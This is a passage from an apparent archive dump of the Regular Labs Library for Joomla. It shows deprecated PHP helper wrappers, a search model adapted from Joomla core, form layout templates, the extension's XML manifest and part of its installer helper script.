RL_Protect::removeFromHtmlTagContent($string, $tags, $include_closing_tags,
$html_tags);
}
public static function removeFromHtmlTagAttributes(&$string, $tags,
$attributes = 'ALL', $include_closing_tags = true)
{
class_exists('RegularLabs\Library\Protect') &&
RL_Protect::removeFromHtmlTagAttributes($string, $tags, $attributes,
$include_closing_tags);
}
public static function articlePassesSecurity(&$article,
$securtiy_levels = [])
{
return class_exists('RegularLabs\Library\Protect') &&
RL_Protect::articlePassesSecurity($article, $securtiy_levels);
}
public static function isJoomla3()
{
return true;
}
}
helpers/search.php000064400000013547151167425550010211 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/**
* BASE ON JOOMLA CORE FILE:
* /components/com_search/models/search.php
*/
/**
* @package Joomla.Site
* @subpackage com_search
*
* @copyright Copyright (C) 2005 - 2019 Open Source Matters, Inc. All
rights reserved.
* @license GNU General Public License version 2 or later; see
LICENSE.txt
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\MVC\Model\BaseDatabaseModel as JModel;
use Joomla\CMS\Pagination\Pagination as JPagination;
use Joomla\CMS\Plugin\PluginHelper as JPluginHelper;
/**
* Search Component Search Model
*
* @since 1.5
*/
class SearchModelSearch extends JModel
{
/**
* Search data array
*
* @var array
*/
protected $_data = null;
/**
* Search total
*
* @var integer
*/
protected $_total = null;
/**
* Search areas
*
* @var integer
*/
protected $_areas = null;
/**
* Pagination object
*
* @var object
*/
protected $_pagination = null;
/**
* Constructor
*
* @since 1.5
*/
public function __construct()
{
parent::__construct();
// Get configuration
$app = JFactory::getApplication();
$config = JFactory::getConfig();
// Get the pagination request variables
$this->setState('limit',
$app->getUserStateFromRequest('com_search.limit',
'limit', $config->get('list_limit'),
'uint'));
$this->setState('limitstart',
$app->input->get('limitstart', 0, 'uint'));
// Get parameters.
$params = $app->getParams();
if ($params->get('searchphrase') == 1)
{
$searchphrase = 'any';
}
elseif ($params->get('searchphrase') == 2)
{
$searchphrase = 'exact';
}
else
{
$searchphrase = 'all';
}
// Set the search parameters
$keyword =
urldecode($app->input->getString('searchword'));
$match = $app->input->get('searchphrase',
$searchphrase, 'word');
$ordering = $app->input->get('ordering',
$params->get('ordering', 'newest'),
'word');
$this->setSearch($keyword, $match, $ordering);
// Set the search areas
$areas = $app->input->get('areas', null,
'array');
$this->setAreas($areas);
}
/**
* Method to set the search parameters
*
* @param string $keyword string search string
* @param string $match matching option, exact|any|all
* @param string $ordering option, newest|oldest|popular|alpha|category
*
* @return void
*
* @access public
*/
public function setSearch($keyword, $match = 'all', $ordering =
'newest')
{
if (isset($keyword))
{
$this->setState('origkeyword', $keyword);
if ($match !== 'exact')
{
$keyword = preg_replace('#\xE3\x80\x80#s', ' ',
$keyword);
}
$this->setState('keyword', $keyword);
}
if (isset($match))
{
$this->setState('match', $match);
}
if (isset($ordering))
{
$this->setState('ordering', $ordering);
}
}
/**
* Method to get weblink item data for the category
*
* @access public
* @return array
*/
public function getData()
{
// Lets load the content if it doesn't already exist
if (empty($this->_data))
{
$areas = $this->getAreas();
JPluginHelper::importPlugin('search');
$dispatcher = JEventDispatcher::getInstance();
$results = $dispatcher->trigger('onContentSearch', [
$this->getState('keyword'),
$this->getState('match'),
$this->getState('ordering'),
$areas['active'],
]
);
$rows = [];
foreach ($results as $result)
{
$rows = array_merge((array) $rows, (array) $result);
}
$this->_total = count($rows);
if ($this->getState('limit') > 0)
{
$this->_data = array_splice($rows,
$this->getState('limitstart'),
$this->getState('limit'));
}
else
{
$this->_data = $rows;
}
/* >>> ADDED: Run content plugins over results */
$params =
JFactory::getApplication()->getParams('com_content');
$params->set('rl_search', 1);
foreach ($this->_data as $item)
{
if (empty($item->text))
{
continue;
}
$dispatcher->trigger('onContentPrepare',
['com_search.search.article', &$item, &$params, 0]);
if (empty($item->title))
{
continue;
}
// strip html tags from title
$item->title = strip_tags($item->title);
}
/* <<< */
}
return $this->_data;
}
/**
* Method to get the total number of weblink items for the category
*
* @access public
*
* @return integer
*/
public function getTotal()
{
return $this->_total;
}
/**
* Method to set the search areas
*
* @param array $active areas
* @param array $search areas
*
* @return void
*
* @access public
*/
public function setAreas($active = [], $search = [])
{
$this->_areas['active'] = $active;
$this->_areas['search'] = $search;
}
/**
* Method to get a pagination object of the weblink items for the category
*
* @access public
* @return integer
*/
public function getPagination()
{
// Lets load the content if it doesn't already exist
if (empty($this->_pagination))
{
$this->_pagination = new JPagination($this->getTotal(),
$this->getState('limitstart'),
$this->getState('limit'));
}
return $this->_pagination;
}
/**
* Method to get the search areas
*
* @return int
*
* @since 1.5
*/
public function getAreas()
{
// Load the Category data
if (empty($this->_areas['search']))
{
$areas = [];
JPluginHelper::importPlugin('search');
$dispatcher = JEventDispatcher::getInstance();
$searchareas =
$dispatcher->trigger('onContentSearchAreas');
foreach ($searchareas as $area)
{
if (is_array($area))
{
$areas = array_merge($areas, $area);
}
}
$this->_areas['search'] = $areas;
}
return $this->_areas;
}
}
helpers/string.php000064400000000716151167425550010244 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
jimport('joomla.string.string');
abstract class RLString extends JString
{
}
helpers/tags.php000064400000012022151167425550007665 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Html as RL_Html;
use RegularLabs\Library\PluginTag as RL_PluginTag;
use RegularLabs\Library\RegEx as RL_RegEx;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLTags
{
static $protected_characters = [
'=' => '[[:EQUAL:]]',
'"' => '[[:QUOTE:]]',
',' => '[[:COMMA:]]',
'|' => '[[:BAR:]]',
':' => '[[:COLON:]]',
];
public static function getValuesFromString($string = '',
$main_key = 'title', $known_boolean_keys = [], $keep_escaped =
[','])
{
return RL_PluginTag::getAttributesFromString($string, $main_key,
$known_boolean_keys, $keep_escaped);
}
public static function protectSpecialChars(&$string)
{
RL_PluginTag::protectSpecialChars($string);
}
public static function unprotectSpecialChars(&$string,
$keep_escaped_chars = [])
{
RL_PluginTag::unprotectSpecialChars($string, $keep_escaped_chars);
}
public static function replaceKeyAliases(&$values, $key_aliases = [],
$handle_plurals = false)
{
RL_PluginTag::replaceKeyAliases($values, $key_aliases, $handle_plurals);
}
public static function convertOldSyntax(&$values, $known_boolean_keys
= [], $extra_key = 'class')
{
RL_PluginTag::convertOldSyntax($values, $known_boolean_keys, $extra_key);
}
public static function getRegexSpaces($modifier = '+')
{
return RL_PluginTag::getRegexSpaces($modifier);
}
public static function getRegexInsideTag()
{
return RL_PluginTag::getRegexInsideTag();
}
public static function getRegexSurroundingTagPre($elements =
['p', 'span'])
{
return RL_PluginTag::getRegexSurroundingTagPre($elements);
}
public static function getRegexSurroundingTagPost($elements =
['p', 'span'])
{
return RL_PluginTag::getRegexSurroundingTagPost($elements);
}
public static function getRegexTags($tags, $include_no_attributes = true,
$include_ending = true, $required_attributes = [])
{
return RL_PluginTag::getRegexTags($tags, $include_no_attributes,
$include_ending, $required_attributes);
}
public static function fixBrokenHtmlTags($string)
{
return RL_Html::fix($string);
}
public static function cleanSurroundingTags($tags, $elements =
['p', 'span'])
{
return RL_Html::cleanSurroundingTags($tags, $elements);
}
public static function fixSurroundingTags($tags)
{
return RL_Html::fixArray($tags);
}
public static function removeEmptyHtmlTagPairs($string, $elements =
['p', 'span'])
{
return RL_Html::removeEmptyTagPairs($string, $elements);
}
public static function getDivTags($start_tag = '', $end_tag =
'', $tag_start = '{', $tag_end = '}')
{
$tag_start = RL_RegEx::unquote($tag_start);
$tag_end = RL_RegEx::unquote($tag_end);
return RL_PluginTag::getDivTags($start_tag, $end_tag, $tag_start,
$tag_end);
}
public static function getTagValues($string = '', $keys =
['title'], $separator = '|', $equal = '=',
$limit = 0)
{
return RL_PluginTag::getAttributesFromStringOld($string, $keys,
$separator, $equal, $limit);
}
/* @Deprecated */
public static function setSurroundingTags($pre, $post, $tags = 0)
{
if ($tags == 0)
{
// tags that have a matching ending tag
$tags = [
'div', 'p', 'span', 'pre',
'a',
'h1', 'h2', 'h3', 'h4',
'h5', 'h6',
'strong', 'b', 'em', 'i',
'u', 'big', 'small', 'font',
// html 5 stuff
'header', 'nav', 'section',
'article', 'aside', 'footer',
'figure', 'figcaption', 'details',
'summary', 'mark', 'time',
];
}
$a = explode('<', $pre);
$b = explode('</', $post);
if (count($b) < 2 || count($a) < 2)
{
return [trim($pre), trim($post)];
}
$a = array_reverse($a);
$a_pre = array_pop($a);
$b_pre = array_shift($b);
$a_tags = $a;
foreach ($a_tags as $i => $a_tag)
{
$a[$i] = '<' . trim($a_tag);
$a_tags[$i] = RL_RegEx::replace('^([a-z0-9]+).*$',
'\1', trim($a_tag));
}
$b_tags = $b;
foreach ($b_tags as $i => $b_tag)
{
$b[$i] = '</' . trim($b_tag);
$b_tags[$i] = RL_RegEx::replace('^([a-z0-9]+).*$',
'\1', trim($b_tag));
}
foreach ($b_tags as $i => $b_tag)
{
if (empty($b_tag) || ! in_array($b_tag, $tags))
{
continue;
}
foreach ($a_tags as $j => $a_tag)
{
if ($b_tag != $a_tag)
{
continue;
}
$a_tags[$i] = '';
$b[$i] = trim(RL_RegEx::replace('^</' . $b_tag .
'.*?>', '', $b[$i]));
$a[$j] = trim(RL_RegEx::replace('^<' . $a_tag .
'.*?>', '', $a[$j]));
break;
}
}
foreach ($a_tags as $i => $tag)
{
if (empty($tag) || ! in_array($tag, $tags))
{
continue;
}
array_unshift($b, trim($a[$i]));
$a[$i] = '';
}
$a = array_reverse($a);
list($pre, $post) = [implode('', $a), implode('',
$b)];
return [trim($pre), trim($post)];
}
}
helpers/text.php000064400000011417151167425550007722 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Alias as RL_Alias;
use RegularLabs\Library\ArrayHelper as RL_Array;
use RegularLabs\Library\Date as RL_Date;
use RegularLabs\Library\Form as RL_Form;
use RegularLabs\Library\Html as RL_Html;
use RegularLabs\Library\HtmlTag as RL_HtmlTag;
use RegularLabs\Library\PluginTag as RL_PluginTag;
use RegularLabs\Library\RegEx as RL_RegEx;
use RegularLabs\Library\StringHelper as RL_String;
use RegularLabs\Library\Title as RL_Title;
use RegularLabs\Library\Uri as RL_Uri;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLText
{
/* Date functions */
public static function fixDate(&$date)
{
$date = RL_Date::fix($date);
}
public static function fixDateOffset(&$date)
{
RL_Date::applyTimezone($date);
}
public static function dateToDateFormat($dateFormat)
{
return RL_Date::strftimeToDateFormat($dateFormat);
}
public static function dateToStrftimeFormat($dateFormat)
{
return RL_Date::dateToStrftimeFormat($dateFormat);
}
/* String functions */
public static function html_entity_decoder($string, $quote_style =
ENT_QUOTES, $charset = 'UTF-8')
{
return RL_String::html_entity_decoder($string, $quote_style, $charset);
}
public static function stringContains($haystacks, $needles)
{
return RL_String::contains($haystacks, $needles);
}
public static function is_alphanumeric($string)
{
return RL_String::is_alphanumeric($string);
}
public static function splitString($string, $delimiters = [], $max_length
= 10000, $maximize_parts = true)
{
return RL_String::split($string, $delimiters, $max_length,
$maximize_parts);
}
public static function strReplaceOnce($search, $replace, $string)
{
return RL_String::replaceOnce($search, $replace, $string);
}
/* Array functions */
public static function toArray($data, $separator = '')
{
return RL_Array::toArray($data, $separator);
}
public static function createArray($data, $separator = ',')
{
return RL_Array::toArray($data, $separator, true);
}
/* RegEx functions */
public static function regexReplace($pattern, $replacement, $string)
{
return RL_RegEx::replace($pattern, $replacement, $string);
}
public static function pregQuote($string = '', $delimiter =
'#')
{
return RL_RegEx::quote($string, $delimiter);
}
public static function pregQuoteArray($array = [], $delimiter =
'#')
{
return RL_RegEx::quoteArray($array, $delimiter);
}
/* Title functions */
public static function cleanTitle($string, $strip_tags = false,
$strip_spaces = true)
{
return RL_Title::clean($string, $strip_tags, $strip_spaces);
}
public static function createUrlMatches($titles = [])
{
return RL_Title::getUrlMatches($titles);
}
/* Alias functions */
public static function createAlias($string)
{
return RL_Alias::get($string);
}
/* Uri functions */
public static function getURI($hash = '')
{
return RL_Uri::get($hash);
}
/* Plugin Tag functions */
public static function getTagRegex($tags, $include_no_attributes = true,
$include_ending = true, $required_attributes = [])
{
return RL_PluginTag::getRegexTags($tags, $include_no_attributes,
$include_ending, $required_attributes);
}
/* HTML functions */
public static function getBody($html)
{
return RL_Html::getBody($html);
}
public static function getContentContainingSearches($string,
$start_searches = [], $end_searches = [], $start_offset = 1000, $end_offset
= null)
{
return RL_Html::getContentContainingSearches($string, $start_searches,
$end_searches, $start_offset, $end_offset);
}
public static function convertWysiwygToPlainText($string)
{
return RL_Html::convertWysiwygToPlainText($string);
}
public static function combinePTags(&$string)
{
RL_Html::combinePTags($string);
}
/* HTML Tag functions */
public static function combineTags($tag1, $tag2)
{
return RL_HtmlTag::combine($tag1, $tag2);
}
public static function getAttribute($key, $string)
{
return RL_HtmlTag::getAttributeValue($key, $string);
}
public static function getAttributes($string)
{
return RL_HtmlTag::getAttributes($string);
}
public static function combineAttributes($string1, $string2)
{
return RL_HtmlTag::combineAttributes($string1, $string2);
}
/* Form functions */
public static function prepareSelectItem($string, $published = 1, $type =
'', $remove_first = 0)
{
return RL_Form::prepareSelectItem($string, $published, $type,
$remove_first);
}
}
helpers/versions.php000064400000002413151167425550010602 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
/* @DEPRECATED */
defined('_JEXEC') or die;
use RegularLabs\Library\Version as RL_Version;
if (is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php'))
{
require_once JPATH_LIBRARIES . '/regularlabs/autoload.php';
}
class RLVersions
{
public static function getXMLVersion($alias, $urlformat = false, $type =
'component', $folder = 'system')
{
return ! class_exists('RegularLabs\Library\Version') ?
'' : RL_Version::get($alias, $type, $folder);
}
public static function getPluginXMLVersion($alias, $folder =
'system')
{
return ! class_exists('RegularLabs\Library\Version') ?
'' : RL_Version::getPluginVersion($alias, $folder);
}
public static function render($alias)
{
return ! class_exists('RegularLabs\Library\Version') ?
'' : RL_Version::getMessage($alias);
}
public static function getFooter($name, $copyright = 1)
{
return ! class_exists('RegularLabs\Library\Version') ?
'' : RL_Version::getFooter($name, $copyright);
}
}
layouts/range.php000064400000011256151167425550010071 0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('JPATH_BASE') or die;
/**
* Layout variables
* -----------------
* @var array $displayData
* @var string $field
* @var string $autocomplete Autocomplete attribute for the field.
* @var boolean $autofocus Is autofocus enabled?
* @var string $class Classes for the input.
* @var string $description Description of the field.
* @var boolean $disabled Is this field disabled?
* @var string $group Group the field belongs to. <fields>
section in form XML.
* @var boolean $hidden Is this field hidden in the form?
* @var string $hint Placeholder for the field.
* @var string $id DOM id of the field.
* @var string $label Label of the field.
* @var string $labelclass Classes to apply to the label.
* @var boolean $multiple Does this field support multiple values?
* @var string $name Name of the input field.
* @var string $onchange Onchange attribute for the field.
* @var string $onclick Onclick attribute for the field.
* @var string $pattern Pattern (Reg Ex) of value of the form
field.
* @var boolean $readonly Is this field read only?
* @var boolean $repeat Allows extensions to duplicate elements.
* @var boolean $required Is this field required?
* @var integer $size Size attribute of the input.
* @var boolean $spellcheck Spellcheck state for the form field.
* @var string $validate Validation rules to apply.
* @var string $value Value attribute of the field.
* @var array $checkedOptions Options that will be set as checked.
* @var boolean $hasValue Has this field a value assigned?
* @var array $options Options available for this field.
* @var array $inputType Options available for this field.
* @var string $accept File types that are accepted.
* @var string $prepend
* @var string $append
*/
extract($displayData);
// Including fallback code for HTML5 non supported browsers.
JHtml::_('jquery.framework');
JHtml::_('script', 'system/html5fallback.js',
['version' => 'auto', 'relative' =>
true, 'conditional' => 'lt IE 9']);
// Initialize some field attributes.
$attributes_range = [
$class ? 'class="' . $class . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
! empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
! empty($max) ? 'max="' . $max . '"' :
'',
! empty($step) ? 'step="' . $step . '"' :
'',
! empty($min) ? 'min="' . $min . '"' :
'',
$autofocus ? 'autofocus' : '',
];
$attributes_number = [
'class="input-mini text-right"',
! empty($size) ? 'size="' . $size . '"' :
'',
$disabled ? 'disabled' : '',
$readonly ? 'readonly' : '',
strlen($hint) ? 'placeholder="' . htmlspecialchars($hint,
ENT_COMPAT, 'UTF-8') . '"' : '',
! empty($onchange) ? 'onchange="' . $onchange .
'"' : '',
isset($max) ? 'max="' . $max . '"' :
'',
! empty($step) ? 'step="' . $step . '"' :
'',
isset($min) ? 'min="' . $min . '"' :
'',
$required ? 'required aria-required="true"' :
'',
$autocomplete,
$autofocus ? 'autofocus' : '',
];
$chars = strlen($max) ?: $size ?: 4;
$width = $chars * 8;
$classes = [];
if ($prepend)
{
$classes[] = 'input-prepend';
}
if ($append)
{
$classes[] = 'input-append';
}
if (strpos($prepend, 'icon-') === 0)
{
$prepend = '<span class="' . $prepend .
'"></span>';
}
if (strpos($append, 'icon-') === 0)
{
$append = '<span class="' . $append .
'"></span>';
}
if ($prepend && preg_match('#^[A-Z][A-Z0-9_]+$#',
$prepend))
{
$prepend = JText::_($prepend);
}
if ($append && preg_match('#^[A-Z][A-Z0-9_]+$#',
$append))
{
$append = JText::_($append);
}
$input = '<input type="number" name="' . $name
. '" id="' . $id . '" value="' .
$value . '"
oninput="document.querySelector(\'input[data-for=\\\''
. $name . '\\\']\').value=this.value;"'
. ' ' . implode(' ', $attributes_number) . '
/>';
?>
<span class="<?php echo implode(' ', $classes);
?>">
<?php if ($prepend): ?>
<span class="add-on"><?php echo $prepend;
?></span>
<?php endif; ?>
<?php echo $input; ?>
<?php if ($append): ?>
<span class="add-on"><?php echo $append;
?></span>
<?php endif; ?>
</span>
<input type="range" data-for="<?php echo $name;
?>" value="<?php echo $value; ?>"
oninput="document.querySelector('input[name=\'<?php echo
$name; ?>\']').value=this.value;"
<?php echo implode(' ', $attributes_range); ?> />
layouts/repeatable-table/section.php000064400000004275151167425550013635
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
/**
* Layout variables
* -----------------
* @var array $displayData
* @var JForm $form The form instance for render the section
* @var string $basegroup The base group name
* @var string $group Current group name
* @var array $buttons Array of the buttons that will be rendered
*/
extract($displayData);
$fields = $form->getGroup('');
?>
<tr
class="subform-repeatable-group subform-repeatable-group-<?php
echo $unique_subform_id; ?>"
data-base-name="<?php echo $basegroup; ?>"
data-group="<?php echo $group; ?>"
>
<td>
<a class="sortable-handler group-move group-move-<?php echo
$unique_subform_id; ?>" style="cursor: move;"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_MOVE');
?>">
<span class="icon-menu"
aria-hidden="true"></span>
</a>
</td>
<td data-column="<?php echo strip_tags($fields[$group .
'__field']->label); ?>">
<?php echo $fields[$group .
'__field']->renderField(['hiddenLabel' => true]);
?>
<?php if (isset($fields[$group . '__field_name'])) : ?>
<?php echo $fields[$group .
'__field_name']->renderField(['hiddenLabel' =>
true]); ?>
<?php endif; ?>
</td>
<?php if (isset($fields[$group . '__field_comparison'])) :
?>
<td data-column="<?php echo strip_tags($fields[$group .
'__field_comparison']->label); ?>">
<?php echo $fields[$group .
'__field_comparison']->renderField(['hiddenLabel'
=> true]); ?>
</td>
<?php endif; ?>
<td data-column="<?php echo strip_tags($fields[$group .
'__field_value']->label); ?>">
<?php echo $fields[$group .
'__field_value']->renderField(['hiddenLabel' =>
true]); ?>
</td>
<td>
<div class="btn-group">
<a class="btn btn-mini button btn-danger group-remove
group-remove-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo JText::_('JGLOBAL_FIELD_REMOVE');
?>">
<span class="icon-minus"
aria-hidden="true"></span>
</a>
</div>
</td>
</tr>
layouts/repeatable-table.php000064400000010431151167425550012160
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
/**
* Layout variables
* -----------------
* @var array $displayData
* @var JForm $tmpl The Empty form for template
* @var array $forms Array of JForm instances for render the
rows
* @var bool $multiple The multiple state for the form field
* @var int $min Count of minimum repeating in multiple mode
* @var int $max Count of maximum repeating in multiple mode
* @var string $fieldname The field name
* @var string $control The forms control
* @var string $label The field label
* @var string $description The field description
* @var array $buttons Array of the buttons that will be rendered
* @var bool $groupByFieldset Whether group the subform fields by it`s
fieldset
*/
extract($displayData);
// Add script
if ($multiple)
{
JHtml::_('jquery.ui', ['core', 'sortable']);
JHtml::_('script', 'system/subform-repeatable.js',
['version' => 'auto', 'relative' =>
true]);
}
// Build heading
$fields = $tmpl->getGroup('');
$column_count = 4;
$table_head = [];
$table_head[] = '<th style="width:10%;">' .
strip_tags($fields[$id . '__' . $fieldname .
'X__field']->label) . '</th>';
if (isset($fields[$id . '__' . $fieldname .
'X__field_comparison']))
{
$table_head[] = '<th style="width:10%;">' .
strip_tags($fields[$id . '__' . $fieldname .
'X__field_comparison']->label) . '</th>';
$column_count++;
}
$table_head[] = '<th>' . strip_tags($fields[$id .
'__' . $fieldname . 'X__field_value']->label) .
'</th>';
$sublayout = 'section';
// Label will not be shown for sections layout, so reset the margin left
JFactory::getDocument()->addStyleDeclaration(
'.subform-table-sublayout-section .controls { margin-left: 0px
}'
);
?>
<div class="row-fluid">
<div class="subform-repeatable-wrapper subform-table-layout
subform-table-sublayout-<?php echo $sublayout; ?>
form-vertical">
<div
class="subform-repeatable"
data-bt-add="a.group-add-<?php echo $unique_subform_id;
?>"
data-bt-remove="a.group-remove-<?php echo $unique_subform_id;
?>"
data-bt-move="a.group-move-<?php echo $unique_subform_id;
?>"
data-repeatable-element="tr.subform-repeatable-group-<?php echo
$unique_subform_id; ?>"
data-rows-container="tbody.rows-container-<?php echo
$unique_subform_id; ?>"
data-minimum="<?php echo $min; ?>"
data-maximum="<?php echo $max; ?>"
>
<table class="adminlist table table-striped ">
<thead>
<tr>
<th style="width:1%;"></th>
<?php echo implode('', $table_head); ?>
<th style="width:1%;"></th>
</tr>
</thead>
<tbody class="rows-container-<?php echo $unique_subform_id;
?>">
<?php foreach ($forms as $k => $form):
echo $this->sublayout(
$sublayout,
[
'form' => $form,
'basegroup' => $id . '__' .
$fieldname,
'group' => $id . '__' .
$fieldname . $k,
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
]
);
endforeach; ?>
</tbody>
<tfoot>
<tr>
<th colspan="<?php echo $column_count; ?>">
<div class="btn-group btn-group-full">
<a
class="btn btn-mini btn-full button btn-success group-add
group-add-<?php echo $unique_subform_id; ?>"
aria-label="<?php echo
JText::_('JGLOBAL_FIELD_ADD'); ?>"
>
<span class="icon-plus"
aria-hidden="true"></span>
</a>
</div>
</th>
</tr>
</tfoot>
</table>
<?php if ($multiple) : ?>
<template
class="subform-repeatable-template-section"><?php echo
trim(
$this->sublayout(
$sublayout,
[
'form' => $tmpl,
'basegroup' => $id . '__' .
$fieldname,
'group' => $id . '__' .
$fieldname . 'X',
'buttons' => $buttons,
'unique_subform_id' => $unique_subform_id,
]
)
); ?></template>
<?php endif; ?>
</div>
</div>
</div>
regularlabs.xml000064400000002056151167425550007607 0ustar00<?xml
version="1.0" encoding="utf-8"?>
<extension version="3.9" type="library"
method="upgrade">
<name>Regular Labs Library</name>
<libraryname>regularlabs</libraryname>
<description></description>
<version>21.2.19653</version>
<creationDate>February 2021</creationDate>
<author>Regular Labs (Peter van Westen)</author>
<authorEmail>info@regularlabs.com</authorEmail>
<authorUrl>https://www.regularlabs.com</authorUrl>
<copyright>Copyright © 2018 Regular Labs - All Rights
Reserved</copyright>
<license>http://www.gnu.org/licenses/gpl-2.0.html
GNU/GPL</license>
<scriptfile>script.install.php</scriptfile>
<files>
<folder>vendor</folder>
<folder>src</folder>
<file>autoload.php</file>
<file>regularlabs.xml</file>
<folder>fields</folder>
<folder>helpers</folder>
<folder>layouts</folder>
<filename>script.install.helper.php</filename>
</files>
<media folder="media" destination="regularlabs">
<folder>css</folder>
<folder>fonts</folder>
<folder>images</folder>
<folder>js</folder>
<folder>less</folder>
</media>
</extension>
script.install.helper.php000064400000054553151167425550011533
0ustar00<?php
/**
* @package Regular Labs Library
* @version 21.2.19653
*
* @author Peter van Westen <info@regularlabs.com>
* @link http://www.regularlabs.com
* @copyright Copyright © 2021 Regular Labs All Rights Reserved
* @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL
*/
defined('_JEXEC') or die;
use Joomla\CMS\Factory as JFactory;
use Joomla\CMS\Filesystem\File as JFile;
use Joomla\CMS\Filesystem\Folder as JFolder;
use Joomla\CMS\Installer\Installer as JInstaller;
use Joomla\CMS\Language\Text as JText;
class RegularLabsInstallerScriptHelper
{
public $name = '';
public $alias = '';
public $extname = '';
public $extension_type = '';
public $plugin_folder = 'system';
public $module_position = 'status';
public $client_id = 1;
public $install_type = 'install';
public $show_message = true;
public $db = null;
public $softbreak = null;
public $installed_version = '';
public function __construct(&$params)
{
$this->extname = $this->extname ?: $this->alias;
$this->db = JFactory::getDbo();
}
public function preflight($route, $adapter)
{
if ( ! in_array($route, ['install', 'update']))
{
return true;
}
JFactory::getLanguage()->load('plg_system_regularlabsinstaller',
JPATH_PLUGINS . '/system/regularlabsinstaller');
$this->installed_version =
$this->getVersion($this->getInstalledXMLFile());
if ($this->show_message && $this->isInstalled())
{
$this->install_type = 'update';
}
// if ($this->extension_type == 'component')
// {
// // Remove admin menu to prevent error on creating it again
// $query = $this->db->getQuery(true)
// ->delete('#__menu')
// ->where($this->db->quoteName('path') . ' =
' . $this->db->quote('com-' . $this->extname))
// ->where($this->db->quoteName('client_id') . '
= 1');
// $this->db->setQuery($query);
// $this->db->execute();
// }
if ($this->onBeforeInstall($route) === false)
{
return false;
}
return true;
}
public function postflight($route, $adapter)
{
$this->removeGlobalLanguageFiles();
$this->removeUnusedLanguageFiles();
JFactory::getLanguage()->load($this->getPrefix() . '_' .
$this->extname, $this->getMainFolder());
if ( ! in_array($route, ['install', 'update']))
{
return true;
}
$this->fixExtensionNames();
$this->updateUpdateSites();
$this->removeAdminCache();
if ($this->onAfterInstall($route) === false)
{
return false;
}
if ($route == 'install')
{
$this->publishExtension();
}
if ($this->show_message)
{
$this->addInstalledMessage();
}
JFactory::getCache()->clean('com_plugins');
JFactory::getCache()->clean('_system');
return true;
}
public function isInstalled()
{
if ( ! is_file($this->getInstalledXMLFile()))
{
return false;
}
$query = $this->db->getQuery(true)
->select($this->db->quoteName('extension_id'))
->from('#__extensions')
->where($this->db->quoteName('type') . ' =
' . $this->db->quote($this->extension_type))
->where($this->db->quoteName('element') . ' =
' . $this->db->quote($this->getElementName()))
->setLimit(1);
$this->db->setQuery($query);
$result = $this->db->loadResult();
return empty($result) ? false : true;
}
public function getMainFolder()
{
switch ($this->extension_type)
{
case 'plugin' :
return JPATH_PLUGINS . '/' . $this->plugin_folder .
'/' . $this->extname;
case 'component' :
return JPATH_ADMINISTRATOR . '/components/com_' .
$this->extname;
case 'module' :
return JPATH_ADMINISTRATOR . '/modules/mod_' .
$this->extname;
case 'library' :
return JPATH_SITE . '/libraries/' . $this->extname;
}
}
public function getInstalledXMLFile()
{
return $this->getXMLFile($this->getMainFolder());
}
public function getCurrentXMLFile()
{
return $this->getXMLFile(__DIR__);
}
public function getXMLFile($folder)
{
switch ($this->extension_type)
{
case 'module' :
return $folder . '/mod_' . $this->extname .
'.xml';
default :
return $folder . '/' . $this->extname . '.xml';
}
}
public function uninstallExtension($extname, $type = 'plugin',
$folder = 'system', $show_message = true)
{
if (empty($extname))
{
return;
}
$folders = [];
switch ($type)
{
case 'plugin':
$folders[] = JPATH_PLUGINS . '/' . $folder . '/' .
$extname;
break;
case 'component':
$folders[] = JPATH_ADMINISTRATOR . '/components/com_' .
$extname;
